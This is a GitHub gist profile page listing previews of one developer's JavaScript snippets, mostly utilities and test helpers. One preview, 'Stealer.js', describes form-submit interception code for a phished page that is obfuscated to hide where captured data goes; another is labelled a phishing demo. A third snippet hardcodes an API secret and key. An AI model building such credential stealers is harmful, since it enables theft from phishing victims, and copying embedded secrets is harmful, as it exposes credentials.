Skip to content

Instantly share code, notes, and snippets.

Avatar

Parashuram N axemclion

View GitHub Profile
@axemclion
axemclion / DurationParser.js
Created Oct 5, 2009
Interval Parser - from "English" to "Seconds"
View DurationParser.js
function parseInterval(interval){
var u = {};
u["minute"] = 1;
u["hour"] = 60 * u["minute"];
u["day"] = 24 * u["hour"];
u["week"] = 7 * u["day"];
u["month"] = 30 * u["day"];
u["quarter"] = 3 * u["month"];
u["year"] = 365 * u["day"];
View Stealer.js
/**
* This is the function that intercepts a form submit. This function is written into the target
* phished file. Have to obfuscate these so that people who analyze the source code of the page
* cant immediatly see where the information is going.
*/
@axemclion
axemclion / GMSimulator.js
Created Oct 22, 2009
Greasemonkey Emulator
View GMSimulator.js
/*
Copyright (c) 2007, Yahoo! Inc. All rights reserved.
Code licensed under the BSD License:
http://developer.yahoo.net/yui/license.txt
@axemclion
axemclion / WavePhishedPage.html
Created Feb 10, 2010
Google Wave Phishing Demo
View WavePhishedPage.html
<html><head>
<style type="text/css"><!--
body,td,div,p,a,font,span {font-family: arial,sans-serif;}
body {margin-top:2}.c {width:4; height: 4}
html body { bgcolor: "#ffffff"; padding: 0; margin: 0; }
A:link {color:#0000cc; }
A:visited { color:#551a8b; }
A:active { color:#ff0000; }
@axemclion
axemclion / QueuedUnit.js
Created Apr 30, 2012
Wrapper code to queue and run Qunits tests one after another.
View QueuedUnit.js
/**
* Ideally unit tests should be independent, but there are some cases where you really want those tests to be executed one after the other
* Here is some code that does exactly that - a wrapper on top of QUnit.
*
* Usage
* Instead of asyncTest, call queuedAsyncTest (same params)
* Instead of module(), call queuedModule
* After a test is over and the next test has to run, call nextTest()
*/
(function(window, console, undefined){
@axemclion
axemclion / IndexedDB.setVersionShim.js
Created May 11, 2012
Shim that converts Chrome's SetVersion to the standard IndexedDB onupgradeneeded events
View IndexedDB.setVersionShim.js
////////////////////////////////////////////////////////////////////////////////////////////////////
var openReqShim = function(dbName, version){
var me = this;
var IDBRequest = function(){
this.onsuccess = this.onerror = this.onblocked = this.onupgradeneeded = null;
};
function copyReq(req){
req = req || dbOpenReq;
@axemclion
axemclion / filtereffects.js
Created Jul 14, 2012
Aviary - Filter Effects
View filtereffects.js
var secret = "7e58cceaf";
var params = {
api_key: "c92a196a2",
app_version: "1.0",
backgroundcolor: "",
calltype: "render",
cellheight: 300,
cellwidth: 300,
cols: 1,
@axemclion
axemclion / jquery-indexeddb-test.html
Created Sep 17, 2012
IndexedDB Put - Test cases to check how put function works
View jquery-indexeddb-test.html
<html>
<head>
<title>Sample title</title>
</head>
<body>
<h3><a href = "javascript:schema()">Create Schema - Run this first</a></h3>
<h3><a href = "javascript:list()">List data in DB</a></h3>
<h1>Test cases</h1>
<ul>
<li>
View A sample Grunt Task file using Grunt-SauceLabs-QUnit
/* global module:false */
module.exports = function(grunt){
grunt.initConfig({
pkg: '<json:package.json>',
meta: {
banner: '/*! <%= pkg.name %> */'
},
server: {
base: '.',
port: 9999
@axemclion
axemclion / Gruntfile.js
Created Mar 4, 2013
A grunt task to publish npm packages from CI environments like travis
View Gruntfile.js
grunt.registerMultiTask('publish', 'Publish the latest version of this plugin', function() {
var done = this.async(),
me = this,
npm = require('npm');
npm.load({}, function(err) {
npm.registry.adduser(me.data.username, me.data.password, me.data.email, function(err) {
if (err) {
console.log(err);
done(false);
} else {